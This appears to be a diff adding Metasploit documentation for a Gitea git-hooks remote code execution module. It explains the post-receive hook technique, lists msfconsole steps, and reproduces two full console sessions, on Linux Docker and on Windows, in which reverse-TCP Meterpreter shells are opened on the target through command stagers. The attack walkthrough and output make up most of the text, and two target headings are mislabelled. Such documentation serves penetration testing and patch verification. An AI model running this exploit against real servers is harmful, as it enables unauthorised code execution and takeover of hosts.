|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +### Description |
| 4 | + |
| 5 | +This module leverages an insecure setting to get remote code execution on the |
| 6 | +target OS in the context of the user running Gitea. This is possible when the |
| 7 | +current user is allowed to create `git hooks`, which is the default for |
| 8 | +administrative users. For non-administrative users, the permission needs to be |
| 9 | +specifically granted by an administrator. |
| 10 | + |
| 11 | +To achieve code execution, the module authenticates to the Gitea web interface, |
| 12 | +creates a temporary repository, sets a `post-receive` git hook with the payload |
| 13 | +and creates a dummy file in the repository. This last action will trigger the |
| 14 | +git hook and execute the payload. Everything is done through the web interface. |
| 15 | + |
| 16 | +It has been mitigated in version 1.13.0 by setting the Gitea |
| 17 | +`DISABLE_GIT_HOOKS` configuration setting to `true` by default. This disables |
| 18 | +this feature and prevents all users (including admin) from creating custom git |
| 19 | +hooks. |
| 20 | + |
| 21 | +This module has been tested successfully against Docker versions 1.12.5, 1.12.6 |
| 22 | +and 1.13.6 with `DISABLE_GIT_HOOKS` set to `false`, and on version 1.12.6 on |
| 23 | +Windows. |
| 24 | + |
| 25 | +### Setup |
| 26 | + |
| 27 | +Follow the installation steps: |
| 28 | +- With Docker: https://docs.gitea.io/en-us/install-with-docker/ |
| 29 | +- From binary: https://docs.gitea.io/en-us/install-from-binary/ |
| 30 | +- From package: https://docs.gitea.io/en-us/install-from-package/ |
| 31 | + |
| 32 | +## Verification Steps |
| 33 | + |
| 34 | +1. Install the application (follow [Setup](#setup)) |
| 35 | +1. Start msfconsole |
| 36 | +1. Do: `use multi/http/gitea_git_hooks_rce` |
| 37 | +1. Do: `set USERNAME <username>` |
| 38 | +1. Do: `set PASSWORD <password>` |
| 39 | +1. Do: `set rhosts <ip>` |
| 40 | +1. Do: `set rport <port>` |
| 41 | +1. Do: `set lhost <ip>` |
| 42 | +1. Do: `set target <target #>` |
| 43 | +1. Do: `run` |
| 44 | +1. You should get session. |
| 45 | + |
| 46 | +## Targets |
| 47 | + |
| 48 | +### 0 (Unix Command) |
| 49 | + |
| 50 | +This executes a Unix command. |
| 51 | + |
| 52 | +### 1 (Linux Dropper) |
| 53 | + |
| 54 | +This uses a Linux dropper to execute code. |
| 55 | + |
| 56 | +### 2 (Unix Command) |
| 57 | + |
| 58 | +This executes a Windows command. |
| 59 | + |
| 60 | +### 3 (Linux Dropper) |
| 61 | + |
| 62 | +This uses a Windows dropper to execute code. |
| 63 | + |
| 64 | +## Options |
| 65 | + |
| 66 | +### TARGETURI |
| 67 | + |
| 68 | +The base path of the Gitea application, which is set to `/` by default. |
| 69 | + |
| 70 | +### USERNAME |
| 71 | + |
| 72 | +The username to authenticate with. |
| 73 | + |
| 74 | +### PASSWORD |
| 75 | + |
| 76 | +The password to authenticate with. |
| 77 | + |
| 78 | +## Scenarios |
| 79 | + |
| 80 | +### Gitea 1.12.6 on Docker |
| 81 | + |
| 82 | +``` |
| 83 | +msf6 > use multi/http/gitea_git_hooks_rce |
| 84 | +[*] Using configured payload linux/x64/meterpreter/reverse_tcp |
| 85 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set USERNAME msfuser |
| 86 | +USERNAME => msfuser |
| 87 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set PASSWORD Msf!23 |
| 88 | +PASSWORD => Msf!23 |
| 89 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 127.0.0.1 |
| 90 | +rhosts => 127.0.0.1 |
| 91 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set LHOST 192.168.1.75 |
| 92 | +LHOST => 192.168.1.75 |
| 93 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set RPORT 3000 |
| 94 | +RPORT => 3000 |
| 95 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > options |
| 96 | +
|
| 97 | +Module options (exploit/multi/http/gitea_git_hooks_rce): |
| 98 | +
|
| 99 | + Name Current Setting Required Description |
| 100 | + ---- --------------- -------- ----------- |
| 101 | + PASSWORD Msf!23 yes Password to use |
| 102 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 103 | + RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' |
| 104 | + RPORT 3000 yes The target port (TCP) |
| 105 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 106 | + SSLCert no Path to a custom SSL certificate (default is randomly generated) |
| 107 | + TARGETURI / yes Base path |
| 108 | + URIPATH no The URI to use for this exploit (default is random) |
| 109 | + USERNAME msfuser yes Username to authenticate with |
| 110 | + VHOST no HTTP server virtual host |
| 111 | +
|
| 112 | +
|
| 113 | +Payload options (linux/x64/meterpreter/reverse_tcp): |
| 114 | +
|
| 115 | + Name Current Setting Required Description |
| 116 | + ---- --------------- -------- ----------- |
| 117 | + LHOST 192.168.1.75 yes The listen address (an interface may be specified) |
| 118 | + LPORT 4444 yes The listen port |
| 119 | +
|
| 120 | +
|
| 121 | +Exploit target: |
| 122 | +
|
| 123 | + Id Name |
| 124 | + -- ---- |
| 125 | + 1 Linux Dropper |
| 126 | +
|
| 127 | +
|
| 128 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set verbose true |
| 129 | +verbose => true |
| 130 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > run |
| 131 | +
|
| 132 | +[*] Started reverse TCP handler on 192.168.1.75:4444 |
| 133 | +[*] Executing automatic check (disable AutoCheck to override) |
| 134 | +[+] The target appears to be vulnerable. Gitea version is 1.12.6 |
| 135 | +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp |
| 136 | +[*] Authenticate with "msfuser/Msf!23" |
| 137 | +[*] Get "csrf" value |
| 138 | +[+] csrf=T1KKDKlPGzvIj4fuomjsVJEa-MU6MTYxNzE5OTU0NzU0MTcyNzcwMA |
| 139 | +[+] Logged in |
| 140 | +[*] Create repository "Sonair_Trippledex" |
| 141 | +[*] Get "csrf" and "uid" values |
| 142 | +[+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA |
| 143 | +[+] uid=1 |
| 144 | +[+] Repository created |
| 145 | +[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAA...<redacted> |
| 146 | +[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAO...<redacted> |
| 147 | +[*] Setup post-receive hook with command |
| 148 | +[*] Get "csrf" value |
| 149 | +[+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA |
| 150 | +[+] Git hook setup |
| 151 | +[*] Create a dummy file on the repo to trigger the payload |
| 152 | +[*] Get "csrf" and "last_commit" values |
| 153 | +[+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA |
| 154 | +[+] last_commit=4d92bd44d30756f8cecaf2682cb4dd5129856085 |
| 155 | +[*] RfWwr.txt created |
| 156 | +[+] File created, shell incoming... |
| 157 | +[*] Command Stager progress - 100.00% done (833/833 bytes) |
| 158 | +[*] Transmitting intermediate stager...(126 bytes) |
| 159 | +[*] Sending stage (3008420 bytes) to 192.168.1.75 |
| 160 | +[*] Meterpreter session 1 opened (192.168.1.75:4444 -> 192.168.1.75:61289) at 2021-03-31 16:05:51 +0200 |
| 161 | +[*] Cleaning up |
| 162 | +[*] Get "csrf" value |
| 163 | +[+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA |
| 164 | +[*] Repository Sonair_Trippledex deleted. |
| 165 | +
|
| 166 | +meterpreter > getuid |
| 167 | +Server username: git @ 7ed1d63a11a7 (uid=1000, gid=1000, euid=1000, egid=1000) |
| 168 | +meterpreter > sysinfo |
| 169 | +Computer : 172.20.0.3 |
| 170 | +OS : (Linux 4.19.121-linuxkit) |
| 171 | +Architecture : x64 |
| 172 | +BuildTuple : x86_64-linux-musl |
| 173 | +Meterpreter : x64/linux |
| 174 | +``` |
| 175 | + |
| 176 | +### Gitea 1.12.6 on Windows |
| 177 | + |
| 178 | +``` |
| 179 | +msf6 > use multi/http/gitea_git_hooks_rce |
| 180 | +[*] Using configured payload linux/x64/meterpreter/reverse_tcp |
| 181 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set USERNAME msfuser |
| 182 | +USERNAME => msfuser |
| 183 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set PASSWORD Msf!23 |
| 184 | +PASSWORD => Msf!23 |
| 185 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.144.195 |
| 186 | +rhosts => 192.168.144.195 |
| 187 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set RPORT 3000 |
| 188 | +RPORT => 3000 |
| 189 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set LHOST 192.168.144.1 |
| 190 | +LHOST => 192.168.144.1 |
| 191 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set target 3 |
| 192 | +target => 3 |
| 193 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > options |
| 194 | +
|
| 195 | +Module options (exploit/multi/http/gitea_git_hooks_rce): |
| 196 | +
|
| 197 | + Name Current Setting Required Description |
| 198 | + ---- --------------- -------- ----------- |
| 199 | + PASSWORD Msf!23 yes Password to use |
| 200 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 201 | + RHOSTS 192.168.144.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' |
| 202 | + RPORT 3000 yes The target port (TCP) |
| 203 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 204 | + SSLCert no Path to a custom SSL certificate (default is randomly generated) |
| 205 | + TARGETURI / yes Base path |
| 206 | + URIPATH no The URI to use for this exploit (default is random) |
| 207 | + USERNAME msfuser yes Username to authenticate with |
| 208 | + VHOST no HTTP server virtual host |
| 209 | +
|
| 210 | +
|
| 211 | +Payload options (windows/x64/meterpreter/reverse_tcp): |
| 212 | +
|
| 213 | + Name Current Setting Required Description |
| 214 | + ---- --------------- -------- ----------- |
| 215 | + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) |
| 216 | + LHOST 192.168.144.1 yes The listen address (an interface may be specified) |
| 217 | + LPORT 4444 yes The listen port |
| 218 | +
|
| 219 | +
|
| 220 | +Exploit target: |
| 221 | +
|
| 222 | + Id Name |
| 223 | + -- ---- |
| 224 | + 3 Windows Dropper |
| 225 | +
|
| 226 | +
|
| 227 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > set verbose true |
| 228 | +verbose => true |
| 229 | +msf6 exploit(multi/http/gitea_git_hooks_rce) > run |
| 230 | +
|
| 231 | +[*] Started reverse TCP handler on 192.168.144.1:4444 |
| 232 | +[*] Executing automatic check (disable AutoCheck to override) |
| 233 | +[+] The target appears to be vulnerable. Gitea version is 1.12.6 |
| 234 | +[*] Executing Windows Dropper for windows/x64/meterpreter/reverse_tcp |
| 235 | +[*] Authenticate with "msfuser/Msf!23" |
| 236 | +[*] Get "csrf" value |
| 237 | +[+] csrf=sr_-bvGEAyHL7kVegnyVKQHLeiQ6MTYxNzE5OTc4NDAwNTMzODkwMA |
| 238 | +[+] Logged in |
| 239 | +[*] Create repository "Overhold_Aerified" |
| 240 | +[*] Get "csrf" and "uid" values |
| 241 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 242 | +[+] uid=1 |
| 243 | +[+] Repository created |
| 244 | +[*] Generated command stager: ["echo -n TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAA...<redacted> |
| 245 | +[*] Executing command: echo -n TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAA...<redacted> |
| 246 | +[*] Setup post-receive hook with command |
| 247 | +[*] Get "csrf" value |
| 248 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 249 | +[+] Git hook setup |
| 250 | +[*] Create a dummy file on the repo to trigger the payload |
| 251 | +[*] Get "csrf" and "last_commit" values |
| 252 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 253 | +[+] last_commit=c3b19ce94e7d881e44d8c69b99db7625a61a1408 |
| 254 | +[*] QzUyEvdG.txt created |
| 255 | +[+] File created |
| 256 | +[*] Command Stager progress - 20.14% done (2046/10161 bytes) |
| 257 | +[*] Executing command: echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...<redacted> |
| 258 | +[*] Setup post-receive hook with command |
| 259 | +[*] Get "csrf" value |
| 260 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 261 | +[+] Git hook setup |
| 262 | +[*] Create a dummy file on the repo to trigger the payload |
| 263 | +[*] Get "csrf" and "last_commit" values |
| 264 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 265 | +[+] last_commit=591d40885bfab38ca97a9e7fecd3f5a4ad42dfc0 |
| 266 | +[*] BjLeoDF.txt created |
| 267 | +[+] File created |
| 268 | +[*] Command Stager progress - 40.27% done (4092/10161 bytes) |
| 269 | +[*] Executing command: echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...<redacted> |
| 270 | +[*] Setup post-receive hook with command |
| 271 | +[*] Get "csrf" value |
| 272 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 273 | +[+] Git hook setup |
| 274 | +[*] Create a dummy file on the repo to trigger the payload |
| 275 | +[*] Get "csrf" and "last_commit" values |
| 276 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 277 | +[+] last_commit=8e72d9f4188aa71bd20422a95a478aca81b21107 |
| 278 | +[*] zMjwGd.txt created |
| 279 | +[+] File created |
| 280 | +[*] Command Stager progress - 60.41% done (6138/10161 bytes) |
| 281 | +[*] Executing command: echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...<redacted> |
| 282 | +[*] Setup post-receive hook with command |
| 283 | +[*] Get "csrf" value |
| 284 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 285 | +[+] Git hook setup |
| 286 | +[*] Create a dummy file on the repo to trigger the payload |
| 287 | +[*] Get "csrf" and "last_commit" values |
| 288 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 289 | +[+] last_commit=e8e13e991fe8310590f0372740c4ad034a94d0b2 |
| 290 | +[*] Cnaoh.txt created |
| 291 | +[+] File created |
| 292 | +[*] Command Stager progress - 80.54% done (8184/10161 bytes) |
| 293 | +[*] Executing command: echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...<redacted> |
| 294 | +[*] Setup post-receive hook with command |
| 295 | +[*] Get "csrf" value |
| 296 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 297 | +[+] Git hook setup |
| 298 | +[*] Create a dummy file on the repo to trigger the payload |
| 299 | +[*] Get "csrf" and "last_commit" values |
| 300 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 301 | +[+] last_commit=fcfdbab5b2d62674e56c35a0867415426935a4a4 |
| 302 | +[*] PYITonlR.txt created |
| 303 | +[+] File created, shell incoming... |
| 304 | +[*] Command Stager progress - 100.00% done (10161/10161 bytes) |
| 305 | +[*] Sending stage (200262 bytes) to 192.168.144.195 |
| 306 | +[*] Meterpreter session 1 opened (192.168.144.1:4444 -> 192.168.144.195:54112) at 2021-03-31 16:10:04 +0200 |
| 307 | +[*] Cleaning up |
| 308 | +[*] Get "csrf" value |
| 309 | +[+] csrf=En0ZHw8mYn_sR0mvf9XQ-TlPmIY6MTYxNzE5OTc4NTAwNTg5ODUwMA |
| 310 | +[*] Repository Overhold_Aerified deleted. |
| 311 | +
|
| 312 | +meterpreter > getuid |
| 313 | +Server username: ADLAB\Administrator |
| 314 | +meterpreter > sysinfo |
| 315 | +Computer : DC01 |
| 316 | +OS : Windows 2016+ (10.0 Build 14393). |
| 317 | +Architecture : x64 |
| 318 | +System Language : en_US |
| 319 | +Domain : ADLAB |
| 320 | +Logged On Users : 4 |
| 321 | +Meterpreter : x64/windows |
| 322 | +``` |
0 commit comments